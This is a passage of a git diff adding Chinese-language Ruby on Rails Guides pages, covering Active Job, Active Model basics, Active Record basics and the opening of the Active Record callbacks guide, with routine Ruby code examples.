  • 如何在应用中异步发送电子邮件。
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Active Job 框架负责声明作业,在各种队列后端中运行。作业各种各样,可以是定期清理、账单支付和寄信。其实,任何可以分解且并行运行的工作都可以。

2 Active Job 的作用

主要作用是确保所有 Rails 应用都有作业基础设施。这样便可以在此基础上构建各种功能和其他 gem,而无需担心不同作业运行程序(如 Delayed Job 和 Resque)的 API 之间的差异。此外,选用哪个队列后端只是战术问题。而且,切换队列后端也不用重写作业。

Rails 自带了一个在进程内线程池中执行作业的异步队列。这些作业虽然是异步执行的,但是重启后队列中的作业就会丢失。

3 创建作业

本节逐步说明创建和入队作业的过程。

3.1 创建作业

Active Job 提供了一个 Rails 生成器,用于创建作业。下述命令在 app/jobs 目录中创建一个作业(还在 test/jobs 目录中创建相关的测试用例):

+
+$ bin/rails generate job guests_cleanup
+invoke  test_unit
+create    test/jobs/guests_cleanup_job_test.rb
+create  app/jobs/guests_cleanup_job.rb
+
+
+
+

还可以创建在指定队列中运行的作业:

+
+$ bin/rails generate job guests_cleanup --queue urgent
+
+
+
+

如果不想使用生成器,可以自己动手在 app/jobs 目录中新建文件,不过要确保继承自 ApplicationJob

看一下作业:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  def perform(*guests)
+    # 稍后做些事情
+  end
+end
+
+
+
+

注意,perform 方法的参数是任意个。

3.2 入队作业

像下面这样入队作业:

+
+# 入队作业,作业在队列系统空闲时立即执行
+GuestsCleanupJob.perform_later guest
+
+
+
+
+
+# 入队作业,在明天中午执行
+GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)
+
+
+
+
+
+# 入队作业,在一周以后执行
+GuestsCleanupJob.set(wait: 1.week).perform_later(guest)
+
+
+
+
+
+# `perform_now` 和 `perform_later` 会在幕后调用 `perform`
+# 因此可以传入任意个参数
+GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')
+
+
+
+

就这么简单!

4 执行作业

在生产环境中入队和执行作业需要使用队列后端,即要为 Rails 提供一个第三方队列库。Rails 本身只提供了一个进程内队列系统,把作业存储在 RAM 中。如果进程崩溃,或者设备重启了,默认的异步后端会丢失所有作业。这对小型应用或不重要的作业来说没什么,但是生产环境中的多数应用应该挑选一个持久后端。

4.1 后端

Active Job 为多种队列后端(Sidekiq、Resque、Delayed Job,等等)内置了适配器。最新的适配器列表参见 ActiveJob::QueueAdapters 的 API 文档

4.2 设置后端

队列后端易于设置:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # 要把适配器的 gem 写入 Gemfile
+    # 请参照适配器的具体安装和部署说明
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+
+
+
+

也可以在各个作业中配置后端:

+
+class GuestsCleanupJob < ApplicationJob
+  self.queue_adapter = :resque
+  #....
+end
+
+# 现在,这个作业使用 `resque` 作为后端队列适配器
+# 把 `config.active_job.queue_adapter` 配置覆盖了
+
+
+
+

4.3 启动后端

Rails 应用中的作业并行运行,因此多数队列库要求为自己启动专用的队列服务(与启动 Rails 应用的服务不同)。启动队列后端的说明参见各个库的文档。

下面列出部分文档:

+ +

5 队列

多数适配器支持多个队列。Active Job 允许把作业调度到具体的队列中:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+
+
+

队列名称可以使用 application.rb 文件中的 config.active_job.queue_name_prefix 选项配置前缀:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# 在生产环境中,作业在 production_low_priority 队列中运行
+# 在交付准备环境中,作业在 staging_low_priority 队列中运行
+
+
+
+

默认的队列名称前缀分隔符是 '_'。这个值可以使用 application.rb 文件中的 config.active_job.queue_name_delimiter 选项修改:

+
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+    config.active_job.queue_name_delimiter = '.'
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# 在生产环境中,作业在 production.low_priority 队列中运行
+# 在交付准备环境中,作业在 staging.low_priority 队列中运行
+
+
+
+

如果想更进一步控制作业在哪个队列中运行,可以把 :queue 选项传给 #set 方法:

+
+MyJob.set(queue: :another_queue).perform_later(record)
+
+
+
+

如果想在作业层控制队列,可以把一个块传给 #queue_as 方法。那个块在作业的上下文中执行(因此可以访问 self.arguments),必须返回队列的名称:

+
+class ProcessVideoJob < ApplicationJob
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # 处理视频
+  end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+
+
+
+

确保队列后端“监听”着队列名称。某些后端要求指定要监听的队列。

6 回调

Active Job 在作业的生命周期内提供了多个钩子。回调用于在作业的生命周期内触发逻辑。

6.1 可用的回调

+
    +
  • before_enqueue +
  • +
  • around_enqueue +
  • +
  • after_enqueue +
  • +
  • before_perform +
  • +
  • around_perform +
  • +
  • after_perform +
  • +
+

6.2 用法

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  before_enqueue do |job|
+    # 对作业实例做些事情
+  end
+
+  around_perform do |job, block|
+    # 在执行之前做些事情
+    block.call
+    # 在执行之后做些事情
+  end
+
+  def perform
+    # 稍后做些事情
+  end
+end
+
+
+
+

7 Action Mailer

对现代的 Web 应用来说,最常见的作业是在请求-响应循环之外发送电子邮件,这样用户无需等待。Active Job 与 Action Mailer 是集成的,因此可以轻易异步发送电子邮件:

+
+# 如需想现在发送电子邮件,使用 #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# 如果想通过 Active Job 发送电子邮件,使用 #deliver_later
+UserMailer.welcome(@user).deliver_later
+
+
+
+

8 国际化

创建作业时,使用 I18n.locale 设置。如果异步发送电子邮件,可能用得到:

+
+I18n.locale = :eo
+
+UserMailer.welcome(@user).deliver_later # 使用世界语本地化电子邮件
+
+
+
+

9 GlobalID

Active Job 支持参数使用 GlobalID。这样便可以把 Active Record 对象传给作业,而不用传递类和 ID,再自己反序列化。以前,要这么定义作业:

+
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

现在可以简化成这样:

+
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

为此,模型类要混入 GlobalID::Identification。Active Record 模型类默认都混入了。

10 异常

Active Job 允许捕获执行作业过程中抛出的异常:

+
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  rescue_from(ActiveRecord::RecordNotFound) do |exception|
+   # 处理异常
+  end
+
+  def perform
+    # 稍后做些事情
+  end
+end
+
+
+
+

10.1 反序列化

有了 GlobalID,可以序列化传给 #perform 方法的整个 Active Record 对象。

如果在作业入队之后、调用 #perform 方法之前删除了传入的记录,Active Job 会抛出 ActiveJob::DeserializationError 异常。

11 测试作业

测试作业的详细说明参见 测试作业

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_model_basics.html b/active_model_basics.html new file mode 100644 index 0000000..e33f6e3 --- /dev/null +++ b/active_model_basics.html @@ -0,0 +1,682 @@ + + + + + + + +Active Model 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Model 基础

本文简述模型类。Active Model 允许使用 Action Pack 辅助方法与普通的 Ruby 类交互。Active Model 还协助构建自定义的 ORM,可在 Rails 框架外部使用。

读完本文后,您将学到:

+
    +
  • Active Record 模型的行为;
  • +
  • 回调和数据验证的工作方式;
  • +
  • 序列化程序的工作方式;
  • +
  • Active Model 与 Rails 国际化(i18n)框架的集成。
  • +
+ + + + +
+
+ +
+
+
+

本文原文尚未完工!

1 简介

Active Model 库包含很多模块,用于开发要在 Active Record 中存储的类。下面说明其中部分模块。

1.1 属性方法

ActiveModel::AttributeMethods 模块可以为类中的方法添加自定义的前缀和后缀。它用于定义前缀和后缀,对象中的方法将使用它们。

+
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+  private
+    def reset_attribute(attribute)
+      send("#{attribute}=", 0)
+    end
+
+    def attribute_highest?(attribute)
+      send(attribute) > 100
+    end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # => true
+person.reset_age     # => 0
+person.age_highest?  # => false
+
+
+
+

1.2 回调

ActiveModel::Callbacks 模块为 Active Record 提供回调,在某个时刻运行。定义回调之后,可以使用前置、后置和环绕方法包装。

+
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # 在对象上调用 update 时执行这个方法
+    end
+  end
+
+  def reset_me
+    # 在对象上调用 update 方法时执行这个方法
+    # 因为把它定义为 before_update 回调了
+  end
+end
+
+
+
+

1.3 转换

如果一个类定义了 persisted?id 方法,可以在那个类中引入 ActiveModel::Conversion 模块,这样便能在类的对象上调用 Rails 提供的转换方法。

+
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  # => true
+person.to_key              # => nil
+person.to_param            # => nil
+
+
+
+

1.4 弄脏

如果修改了对象的一个或多个属性,但是没有保存,此时就把对象弄脏了。ActiveModel::Dirty 模块提供检查对象是否被修改的功能。它还提供了基于属性的存取方法。假如有个 Person 类,它有两个属性,first_namelast_name

+
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    # 执行保存操作……
+    changes_applied
+  end
+end
+
+
+
+

1.4.1 直接查询对象,获取所有被修改的属性列表
+
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# 如果修改属性后未保存,返回 true
+person.changed? # => true
+
+# 返回修改之后没有保存的属性列表
+person.changed # => ["first_name"]
+
+# 返回一个属性散列,指明原来的值
+person.changed_attributes # => {"first_name"=>nil}
+
+# 返回一个散列,键为修改的属性名,值是一个数组,包含旧值和新值
+person.changes # => {"first_name"=>[nil, "First Name"]}
+
+
+
+

1.4.2 基于属性的存取方法

判断具体的属性是否被修改了:

+
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+
+
+
+

查看属性之前的值:

+
+person.first_name_was # => nil
+
+
+
+

查看属性修改前后的值。如果修改了,返回一个数组,否则返回 nil

+
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+
+
+
+

1.5 数据验证

ActiveModel::Validations 模块提供数据验证功能,这与 Active Record 中的类似。

+
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+  validates! :token, presence: true
+end
+
+person = Person.new
+person.token = "2b1f325"
+person.valid?                        # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid?                        # => false
+person.email = 'me@vishnuatrai.com'
+person.valid?                        # => true
+person.token = nil
+person.valid?                        # => raises ActiveModel::StrictValidationFailed
+
+
+
+

1.6 命名

ActiveModel::Naming 添加一些类方法,便于管理命名和路由。这个模块定义了 model_name 类方法,它使用 ActiveSupport::Inflector 中的一些方法定义一些存取方法。

+
+class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name                # => "Person"
+Person.model_name.singular            # => "person"
+Person.model_name.plural              # => "people"
+Person.model_name.element             # => "person"
+Person.model_name.human               # => "Person"
+Person.model_name.collection          # => "people"
+Person.model_name.param_key           # => "person"
+Person.model_name.i18n_key            # => :person
+Person.model_name.route_key           # => "people"
+Person.model_name.singular_route_key  # => "person"
+
+
+
+

1.7 模型

ActiveModel::Model 模块能让一个类立即能与 Action Pack 和 Action View 集成。

+
+class EmailContact
+  include ActiveModel::Model
+
+  attr_accessor :name, :email, :message
+  validates :name, :email, :message, presence: true
+
+  def deliver
+    if valid?
+      # 发送电子邮件
+    end
+  end
+end
+
+
+
+

引入 ActiveModel::Model 后,将获得以下功能:

+
    +
  • 模型名称内省
  • +
  • 转换
  • +
  • 翻译
  • +
  • 数据验证
  • +
+

还能像 Active Record 对象那样使用散列指定属性,初始化对象。

+
+email_contact = EmailContact.new(name: 'David',
+                                 email: 'david@example.com',
+                                 message: 'Hello World')
+email_contact.name       # => 'David'
+email_contact.email      # => 'david@example.com'
+email_contact.valid?     # => true
+email_contact.persisted? # => false
+
+
+
+

只要一个类引入了 ActiveModel::Model,它就能像 Active Record 对象那样使用 form_forrender 和任何 Action View 辅助方法。

1.8 序列化

ActiveModel::Serialization 模块为对象提供基本的序列化支持。你要定义一个属性散列,包含想序列化的属性。属性名必须使用字符串,不能使用符号。

+
+class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

这样就可以使用 serializable_hash 方法访问对象的序列化散列:

+
+person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+
+
+
+

1.8.1 ActiveModel::Serializers +

Rails 还提供了用于序列化和反序列化 JSON 的 ActiveModel::Serializers::JSON。这个模块自动引入前文介绍过的 ActiveModel::Serialization 模块。

1.8.1.1 ActiveModel::Serializers::JSON +

若想使用 ActiveModel::Serializers::JSON,只需把 ActiveModel::Serialization 换成 ActiveModel::Serializers::JSON

+
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

as_json 方法与 serializable_hash 方法相似,用于提供模型的散列表示形式。

+
+person = Person.new
+person.as_json # => {"name"=>nil}
+person.name = "Bob"
+person.as_json # => {"name"=>"Bob"}
+
+
+
+

还可以使用 JSON 字符串定义模型的属性。然后,要在类中定义 attributes= 方法:

+
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+
+
+

现在,可以使用 from_json 方法创建 Person 实例,并且设定属性:

+
+json = { name: 'Bob' }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name            # => "Bob"
+
+
+
+

1.9 翻译

ActiveModel::Translation 模块把对象与 Rails 国际化(i18n)框架集成起来。

+
+class Person
+  extend ActiveModel::Translation
+end
+
+
+
+

使用 human_attribute_name 方法可以把属性名称变成对人类友好的格式。对人类友好的格式在本地化文件中定义。

+
    +
  • +

    config/locales/app.pt-BR.yml

    +
    +
    +pt-BR:
    +  activemodel:
    +    attributes:
    +      person:
    +        name: 'Nome'
    +
    +
    +
    +
  • +
+
+
+Person.human_attribute_name('name') # => "Nome"
+
+
+
+

1.10 lint 测试

ActiveModel::Lint::Tests 模块测试对象是否符合 Active Model API。

+
    +
  • +

    app/models/person.rb

    +
    +
    +class Person
    +  include ActiveModel::Model
    +end
    +
    +
    +
    +
  • +
  • +

    test/models/person_test.rb

    +
    +
    +require 'test_helper'
    +
    +class PersonTest < ActiveSupport::TestCase
    +  include ActiveModel::Lint::Tests
    +
    +  setup do
    +    @model = Person.new
    +  end
    +end
    +
    +
    +
    +
  • +
+
+
+$ rails test
+
+Run options: --seed 14596
+
+# Running:
+
+......
+
+Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
+
+6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

为了使用 Action Pack,对象无需实现所有 API。这个模块只是提供一种指导,以防你需要全部功能。

1.11 安全密码

ActiveModel::SecurePassword 提供安全加密密码的功能。这个模块提供了 has_secure_password 类方法,它定义了一个名为 password 的存取方法,而且有相应的数据验证。

1.11.1 要求

ActiveModel::SecurePassword 依赖 bcrypt,因此要在 Gemfile 中加入这个 gem,ActiveModel::SecurePassword 才能正确运行。为了使用安全密码,模型中必须定义一个名为 password_digest 的存取方法。has_secure_password 类方法会为 password 存取方法添加下述数据验证:

+
    +
  1. 密码应该存在
  2. +
  3. 密码应该等于密码确认(前提是有密码确认)
  4. +
  5. 密码的最大长度为 72(ActiveModel::SecurePassword 依赖的 bcrypt 的要求)
  6. +
+

1.11.2 示例
+
+class Person
+  include ActiveModel::SecurePassword
+  has_secure_password
+  attr_accessor :password_digest
+end
+
+person = Person.new
+
+# 密码为空时
+person.valid? # => false
+
+# 密码确认与密码不匹配时
+person.password = 'aditya'
+person.password_confirmation = 'nomatch'
+person.valid? # => false
+
+# 密码长度超过 72 时
+person.password = person.password_confirmation = 'a' * 100
+person.valid? # => false
+
+# 只有密码,没有密码确认
+person.password = 'aditya'
+person.valid? # => true
+
+# 所有数据验证都通过时
+person.password = person.password_confirmation = 'aditya'
+person.valid? # => true
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_basics.html b/active_record_basics.html new file mode 100644 index 0000000..41ffa14 --- /dev/null +++ b/active_record_basics.html @@ -0,0 +1,498 @@ + + + + + + + +Active Record 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 基础

本文简介 Active Record。

读完本文后,您将学到:

+
    +
  • 对象关系映射(Object Relational Mapping,ORM)和 Active Record 是什么,以及如何在 Rails 中使用;
  • +
  • Active Record 在 MVC 中的作用;
  • +
  • 如何使用 Active Record 模型处理保存在关系型数据库中的数据;
  • +
  • Active Record 模式(schema)的命名约定;
  • +
  • 数据库迁移,数据验证和回调。
  • +
+ + + + +
+
+ +
+
+
+

1 Active Record 是什么?

Active Record 是 MVC 中的 M(模型),负责处理数据和业务逻辑。Active Record 负责创建和使用需要持久存入数据库中的数据。Active Record 实现了 Active Record 模式,是一种对象关系映射系统。

1.1 Active Record 模式

Active Record 模式出自 Martin Fowler 写的《企业应用架构模式》一书。在 Active Record 模式中,对象中既有持久存储的数据,也有针对数据的操作。Active Record 模式把数据存取逻辑作为对象的一部分,处理对象的用户知道如何把数据写入数据库,还知道如何从数据库中读出数据。

1.2 对象关系映射

对象关系映射(ORM)是一种技术手段,把应用中的对象和关系型数据库中的数据表连接起来。使用 ORM,应用中对象的属性和对象之间的关系可以通过一种简单的方法从数据库中获取,无需直接编写 SQL 语句,也不过度依赖特定的数据库种类。

1.3 用作 ORM 框架的 Active Record

Active Record 提供了很多功能,其中最重要的几个如下:

+
    +
  • 表示模型和其中的数据;
  • +
  • 表示模型之间的关系;
  • +
  • 通过相关联的模型表示继承层次结构;
  • +
  • 持久存入数据库之前,验证模型;
  • +
  • 以面向对象的方式处理数据库操作。
  • +
+

2 Active Record 中的“多约定少配置”原则

使用其他编程语言或框架开发应用时,可能必须要编写很多配置代码。大多数 ORM 框架都是这样。但是,如果遵循 Rails 的约定,创建 Active Record 模型时不用做多少配置(有时甚至完全不用配置)。Rails 的理念是,如果大多数情况下都要使用相同的方式配置应用,那么就应该把这定为默认的方式。所以,只有约定无法满足要求时,才要额外配置。

2.1 命名约定

默认情况下,Active Record 使用一些命名约定,查找模型和数据库表之间的映射关系。Rails 把模型的类名转换成复数,然后查找对应的数据表。例如,模型类名为 Book,数据表就是 books。Rails 提供的单复数转换功能很强大,常见和不常见的转换方式都能处理。如果类名由多个单词组成,应该按照 Ruby 的约定,使用驼峰式命名法,这时对应的数据库表将使用下划线分隔各单词。因此:

+
    +
  • 数据库表名:复数,下划线分隔单词(例如 book_clubs
  • +
  • 模型类名:单数,每个单词的首字母大写(例如 BookClub
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模型/类表/模式
Articlearticles
LineItemline_items
Deerdeers
Mousemice
Personpeople
+

2.2 模式约定

根据字段的作用不同,Active Record 对数据库表中的字段命名也做了相应的约定:

+
    +
  • 外键:使用 singularized_table_name_id 形式命名,例如 item_idorder_id。创建模型关联后,Active Record 会查找这个字段;
  • +
  • 主键:默认情况下,Active Record 使用整数字段 id 作为表的主键。使用 Active Record 迁移创建数据库表时,会自动创建这个字段;
  • +
+

还有一些可选的字段,能为 Active Record 实例添加更多的功能:

+
    +
  • created_at:创建记录时,自动设为当前的日期和时间;
  • +
  • updated_at:更新记录时,自动设为当前的日期和时间;
  • +
  • lock_version:在模型中添加乐观锁
  • +
  • type:让模型使用单表继承
  • +
  • (association_name)_type:存储多态关联的类型;
  • +
  • (table_name)_count:缓存所关联对象的数量。比如说,一个 Article 有多个 Comment,那么 comments_count 列存储各篇文章现有的评论数量;
  • +
+

虽然这些字段是可选的,但在 Active Record 中是被保留的。如果想使用相应的功能,就不要把这些保留字段用作其他用途。例如,type 这个保留字段是用来指定数据库表使用单表继承(Single Table Inheritance,STI)的。如果不用单表继承,请使用其他的名称,例如“context”,这也能表明数据的作用。

3 创建 Active Record 模型

创建 Active Record 模型的过程很简单,只要继承 ApplicationRecord 类就行了:

+
+class Product < ApplicationRecord
+end
+
+
+
+

上面的代码会创建 Product 模型,对应于数据库中的 products 表。同时,products 表中的字段也映射到 Product 模型实例的属性上。假如 products 表由下面的 SQL 语句创建:

+
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+
+
+
+

按照这样的数据表结构,可以编写下面的代码:

+
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+
+
+
+

4 覆盖命名约定

如果想使用其他的命名约定,或者在 Rails 应用中使用即有的数据库可以吗?没问题,默认的约定能轻易覆盖。

ApplicationRecord 继承自 ActiveRecord::Base,后者定义了一系列有用的方法。使用 ActiveRecord::Base.table_name= 方法可以指定要使用的表名:

+
+class Product < ApplicationRecord
+  self.table_name = "my_products"
+end
+
+
+
+

如果这么做,还要调用 set_fixture_class 方法,手动指定固件(my_products.yml)的类名:

+
+class ProductTest < ActiveSupport::TestCase
+  set_fixture_class my_products: Product
+  fixtures :my_products
+  ...
+end
+
+
+
+

还可以使用 ActiveRecord::Base.primary_key= 方法指定表的主键:

+
+class Product < ApplicationRecord
+  self.primary_key = "product_id"
+end
+
+
+
+

5 CRUD:读写数据

CURD 是四种数据操作的简称:C 表示创建,R 表示读取,U 表示更新,D 表示删除。Active Record 自动创建了处理数据表中数据的方法。

5.1 创建

Active Record 对象可以使用散列创建,在块中创建,或者创建后手动设置属性。new 方法创建一个新对象,create 方法创建新对象,并将其存入数据库。

例如,User 模型中有两个属性,nameoccupation。调用 create 方法会创建一个新记录,并将其存入数据库:

+
+user = User.create(name: "David", occupation: "Code Artist")
+
+
+
+

new 方法实例化一个新对象,但不保存:

+
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+
+
+
+

调用 user.save 可以把记录存入数据库。

最后,如果在 createnew 方法中使用块,会把新创建的对象拉入块中,初始化对象:

+
+user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+
+
+
+

5.2 读取

Active Record 为读取数据库中的数据提供了丰富的 API。下面举例说明。

+
+# 返回所有用户组成的集合
+users = User.all
+
+
+
+
+
+# 返回第一个用户
+user = User.first
+
+
+
+
+
+# 返回第一个名为 David 的用户
+david = User.find_by(name: 'David')
+
+
+
+
+
+# 查找所有名为 David,职业为 Code Artists 的用户,而且按照 created_at 反向排列
+users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)
+
+
+
+

Active Record 查询接口会详细介绍查询 Active Record 模型的方法。

5.3 更新

检索到 Active Record 对象后,可以修改其属性,然后再将其存入数据库。

+
+user = User.find_by(name: 'David')
+user.name = 'Dave'
+user.save
+
+
+
+

还有种使用散列的简写方式,指定属性名和属性值,例如:

+
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+
+
+
+

一次更新多个属性时使用这种方法最方便。如果想批量更新多个记录,可以使用类方法 update_all

+
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+
+
+
+

5.4 删除

类似地,检索到 Active Record 对象后还可以将其销毁,从数据库中删除。

+
+user = User.find_by(name: 'David')
+user.destroy
+
+
+
+

6 数据验证

在存入数据库之前,Active Record 还可以验证模型。模型验证有很多方法,可以检查属性值是否不为空,是否是唯一的、没有在数据库中出现过,等等。

把数据存入数据库之前进行验证是十分重要的步骤,所以调用 saveupdate 方法时会做数据验证。验证失败时返回 false,此时不会对数据库做任何操作。这两个方法都有对应的爆炸方法(save!update!)。爆炸方法要严格一些,如果验证失败,抛出 ActiveRecord::RecordInvalid 异常。下面举个简单的例子:

+
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+
+user = User.new
+user.save  # => false
+user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

Active Record 数据验证会详细介绍数据验证。

7 回调

Active Record 回调用于在模型生命周期的特定事件上绑定代码,相应的事件发生时,执行绑定的代码。例如创建新纪录时、更新记录时、删除记录时,等等。Active Record 回调会详细介绍回调。

8 迁移

Rails 提供了一个 DSL(Domain-Specific Language)用来处理数据库模式,叫做“迁移”。迁移的代码存储在特定的文件中,通过 rails 命令执行,可以用在 Active Record 支持的所有数据库上。下面这个迁移新建一个表:

+
+class CreatePublications < ActiveRecord::Migration[5.0]
+  def change
+    create_table :publications do |t|
+      t.string :title
+      t.text :description
+      t.references :publication_type
+      t.integer :publisher_id
+      t.string :publisher_type
+      t.boolean :single_issue
+
+      t.timestamps
+    end
+    add_index :publications, :publication_type_id
+  end
+end
+
+
+
+

Rails 会跟踪哪些迁移已经应用到数据库上,还提供了回滚功能。为了创建表,要执行 rails db:migrate 命令。如果想回滚,则执行 rails db:rollback 命令。

注意,上面的代码与具体的数据库种类无关,可用于 MySQL、PostgreSQL、Oracle 等数据库。关于迁移的详细介绍,参阅Active Record 迁移

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_callbacks.html b/active_record_callbacks.html new file mode 100644 index 0000000..1c2aeb0 --- /dev/null +++ b/active_record_callbacks.html @@ -0,0 +1,687 @@ + + + + + + + +Active Record 回调 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 回调

本文介绍如何介入 Active Record 对象的生命周期。

读完本文后,您将学到:

+
    +
  • Active Record 对象的生命周期;
  • +
  • 如何创建用于响应对象生命周期内事件的回调方法;
  • +
  • 如何把常用的回调封装到特殊的类中。
  • +
+ + + + +
+
+ +
+
+
+

1 对象的生命周期

在 Rails 应用正常运作期间,对象可以被创建、更新或删除。Active Record 为对象的生命周期提供了钩子,使我们可以控制应用及其数据。

回调使我们可以在对象状态更改之前或之后触发逻辑。

2 回调概述

回调是在对象生命周期的某些时刻被调用的方法。通过回调,我们可以编写在创建、保存、更新、删除、验证或从数据库中加载 Active Record 对象时执行的代码。

2.1 注册回调

回调在使用之前需要注册。我们可以先把回调定义为普通方法,然后使用宏式类方法把这些普通方法注册为回调:

+
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_validation :ensure_login_has_a_value
+
+  private
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
+    end
+end
+
+
+
+

宏式类方法也接受块。如果块中的代码短到可以放在一行里,可以考虑使用这种编程风格:

+
+class User < ApplicationRecord
+  validates :login, :email, presence: true
+
+  before_create do
+    self.name = login.capitalize if name.blank?
+  end
+end
+
+
+
+

